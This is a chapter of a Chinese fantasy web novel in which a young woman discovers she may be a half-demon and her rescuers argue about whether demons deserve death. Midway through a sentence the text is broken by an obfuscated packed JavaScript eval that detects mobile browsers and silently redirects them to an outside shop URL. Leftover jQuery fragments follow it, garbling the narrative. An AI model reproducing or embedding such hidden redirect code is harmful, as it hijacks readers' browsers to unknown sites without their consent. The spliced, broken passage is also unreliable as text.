35. 青衣姑娘2

作品:《这游戏有鬼我不玩了

    可父亲与母亲又是那样疼爱弟弟和妹妹,就像是人世间最平凡的父母疼爱自己的孩子一般。


    但许隐青从未得到过父母的爱。


    幼年时她还会渴望,可越来越大,发生的事情也越来越多。


    长大之后,她已经不再渴求亲人的爱了。


    她知道,这个世界上,从生到死,只有自己才会永远陪伴着自己。


    从许隐青的记忆来说,她是丞相府里最不受宠的孩子,是被父母忽视的孩子,甚至弟弟妹妹都能随意欺辱她。


    但在外却流传,许隐青是丞相府最受宠的孩子。


    许隐青不知道这种谣言是从何时,从哪里传出来的。


    而且,这也正是许隐青感到奇怪的地方。


    明明父亲与母亲并不喜爱她,却还为她寻最好的琴师,最好的女夫子,最好的脂粉和首饰,甚至还让她独居于府中的湖心岛。


    她们给了她最好的物质,却唯独没有给她爱。


    这让许隐青感到愤怒,不解,甚至是怨恨。


    这种令人痛苦,却又不至于去死的痛苦,在她的人生里,缓慢地吞噬着她的生机。


    痛苦没有一日不在撕扯她的身体和灵魂,许隐青甚至不明白自己做错了什么。


    她也是父亲和母亲亲生的孩子,为什么她们不爱她?


    人人都说,许隐青不爱出现在人前,是因为不爱热闹,不喜与人结伴而行。


    不,不是这样的。


    她从前是想和母亲一起出门参加聚会的。


    直到有人都称赞她的美丽,夸奖她的才华。


    母亲看她的眼神之中,又增加了几分嫌恶。


    后来,每一次许隐青即将出去的时候,总会“巧合”地生病。


    次数多了,许隐青也就渐渐明白了。


    有人不想让她出现在别人的面前。


    是谁会这样做?


    答案就在许隐青的心中。


    可这到底是为什么?


    为什么父亲和母亲要这样对她?


    许隐青想不明白。


    直到几日前......


    她的梳妆台上,凭空出现了一封信。


    信里说,她想知道的,在鬼市有人可以为她解谜。


    许隐青又惊又惧,再三思虑之下,她还是决定前往鬼市。


    那封信上并没有写要到哪里去找为她解谜的人,许隐青想办法找人打听到了鬼市。


    谁知一到鬼市就被那个长尾男人盯上了,好在遇到了谭纤,自己才得以获救。


    许隐青简略地将自己为何会去鬼市说了一遍,并未仔细说自己家中的事情,只说在家中并不似外界传言那般。


    谭纤摸着下巴,“黄鼠狼对你出手定然是有原因的。”


    许隐青好奇道:“什么黄鼠狼?”


    谭纤抬眼看了一眼徐长生,见对方似乎没有阻拦她将此事告诉许隐青的意思,便只说了。


    谭纤说:“带你走的那人,是一只妖,原型是一只黄鼠狼,那黄鼠狼叫齐黄。你可曾与他见过?”


    许隐青摇摇头,“我在家中甚少出门,认识的姑娘都不多,更别提男子了。”


    她踌躇了一会儿,又问:“这世界上...当真有妖吗?”


    许隐青一脸忐忑,等着谭纤的回答。


    谭纤还没有回答,徐长生先说话了。


    徐长生眸光锋利,刺向许隐青。


    他说:“这世上,什么都有。人,妖,半妖,鬼。”


    “我知道你是什么了。既无妖力,又有妖的特征。”


    “你是——半妖。”


    “半妖?”谭纤几人头上似乎出现了几个问号。


    谭纤还从未在这个世界听过半妖的消息。


    徐长生淡淡道:“妖与人生下来的孩子,便是半妖。人与妖是两种截然不同的动物,妖族之间有一条隐形的规定,便是不可与人族相恋。人妖恋,为世间所不容。妖族十分排挤半妖。”


    许隐青愕然:“不可能,我父亲与母亲,都是人!”


    徐长生端起桌上的茶杯,吹了吹,“你又怎么确定,他们不是妖?又或者说,你如何确定,他们就是你的亲生父母?”


    许隐青的脸色顿时煞白,说不出话了。


    谭纤见许隐青脸上血色尽失,说:“半妖又如何,你从未做过伤天害理的事情,不必介怀别人的眼光。”


    谭纤并不希望许隐青是妖,可这并不是许隐青或者谭纤能决定的。


    半妖为世间所不容,她既为半妖,今后的人生,或许不会轻松。


    她望向徐长生,问:“徐道长,许姑娘的尾巴可有办法恢复成双腿?”


    徐长生说:“不知道。”


    他慢悠悠地说:“半妖极为少见,我从未见过,晚些我会修书一封回三法观,或许我师傅会知晓此事。”


    “那她恢复双腿之前,都要一直呆在这里吗?”谭纤又问。


    徐长生:“不知道。”


    谭纤望向许隐青,“许姑娘,你...有什么打算?”


    许隐青苦笑,“我现在这幅样子,又能去哪里呢。今夜是我偷偷跑出来的,家中亲人尚且不知,待我恢复了双腿,再做打算吧。”


    她如今心乱如麻,不知道该不该相信徐长生的话。


    徐长生说的话虽然荒谬,但并非不可能。


    但....


    到底是哪一种,她也不知道。


    夜色已浓,谭纤嘱咐了许隐青几句,准备明日在来看她,便与徐长生几人出去了。


    临走前许隐青递了银票给谭纤,叫谭纤帮她再续几日客栈,她如今这个样子也不便出门,嘱托谭纤明日帮她带几身衣裳来。


    谭纤接过银票,关上门。


    她边走边说,“徐道长,你为何对许姑娘有如此大的恶意?”


    徐长生和谢清越走在谭纤后头,徐长生漠然道:“谭小姐,你为何对许姑娘抱有如此大的善意?”


    他用相同的话堵了回去。


    谭纤哽住,半晌才说:“出生是不能自己选的,她或许也不想自己是半妖。况且今日之前,她并不知晓此事。”


    徐长生回道:“妖与人不两立,害人的妖数不胜数。你与她并不相识,为何如此相信她的话,你忘了云隐寺之行了吗?”


    谭纤默然,她当然忘不了。


    她并非真的是个傻子。


    她被妖杀了好几次,恨透了妖。


    可...所有妖,都有错吗?


    她问:“难道这世上的所有妖都该死吗?”


    徐长生沉默了一会儿,说:“抱歉,并非如此。人尚且有好坏之分,妖也如此。只是...”


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012471|190019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    遇到的,大多都是杀人的妖。


    谢清越知道徐长生厌恶妖的原因。


    在徐长生入道之前,他只是个普通百姓家的孩子。


    他出生在一个平凡的村子,有普通的家庭,过着平凡的日子。


    在他七岁的时候,有只妖闯入存在,毁了这一切。


    整个村子,只有徐长生活下来了。


    他的亲人,至死都在保护他。


    元正真人赶来救了他,后将徐长生收为弟子。


    徐长生自此踏上了这条路。


    他嫉恶如仇,手下不知灭了多少不知死活的恶妖。


    谢清越知道,他从未忘记过那一日。


    徐长生的欲言又止被谢清越看在眼里,他勾上徐长生的肩膀,笑道:“谭小姐,明日再说吧。不早了,我们送你回家。”


    谭纤点点头,帮许隐青续了客栈,便准备回家了。


    还是走老地方,翻墙回去。


    “谢大人,徐道长,明日再见。”谭纤与两人告别,阿圆带着谭纤翻过墙。


    夜色已深,路旁的灯笼灭了好几盏,谭纤带着阿圆匆匆回去。


    她并未注意到,在屋檐之上,有一道白影,一直在注视着她。


    谭纤带着阿圆回到院子,院内并未有任何异常,小茶和小饼似乎并未发现她们出去过。


    谭纤将门关上,换下了衣服,躺在床上,脑子里却一直挥之不去今天晚上发生的事情。


    猴妖名为碎文,黄皮子名为齐黄。


    他们为一人做事。


    他们称呼那人为“大人”。


    “大人”是人是妖不清楚。


    “大人”似乎在鬼市很有名。


    谭纤记下了,明日告诉徐长生,叫他们去查一查那座府邸的主人。


    她疑惑的是,为何齐黄要抓许隐青。


    许隐青平日里不常出门,也并未与结仇。


    她有些猜测,或许许隐青梳妆台前的信也是他们送的。


    为的就是将许隐青引到黑市,然后将她掳走。


    可他们为什么要掳走许隐青?


    许隐青对他们有什么用?


    他们知道许隐青是半妖吗?


    他们是随手乱抓,还是蓄谋已久?


    谭纤揉揉额角,想得头疼,还是明日再想吧。


    带着对这些问题的疑问,谭纤沉沉坠入梦境。


    翌日。


    昨天晚上熬夜出去溜达,回来的时候估计已经后半夜了。


    再加上昨天运动量超标,谭纤今天早上果然没起得来床。


    早上小饼来唤了她好几次,谭纤眼皮都没睁开一下,只是挥挥手,示意对方出去。


    小饼见她死活要赖床,拿她也没办法,只好由着她去了。


    待到日上三竿之时,谭纤才徐徐苏醒。


    一醒来双腿仿佛跟灌了铅似的,又酸又痛,抬起来都十分艰难。


    昨天运动量过度,应该是肌肉拉伤了。


    谭纤掀开被子,双脚站在底下的时候差点一软,直接跪在地上。


    好在她眼疾手快,扶住一旁的架子,才没给大地拜个早年。


    谭纤叹了口气,喊道:“小饼,进来一下。”


    小饼守在门外,听见谭纤叫她,这才推门进来。


    小饼:“小姐,您终于醒了!”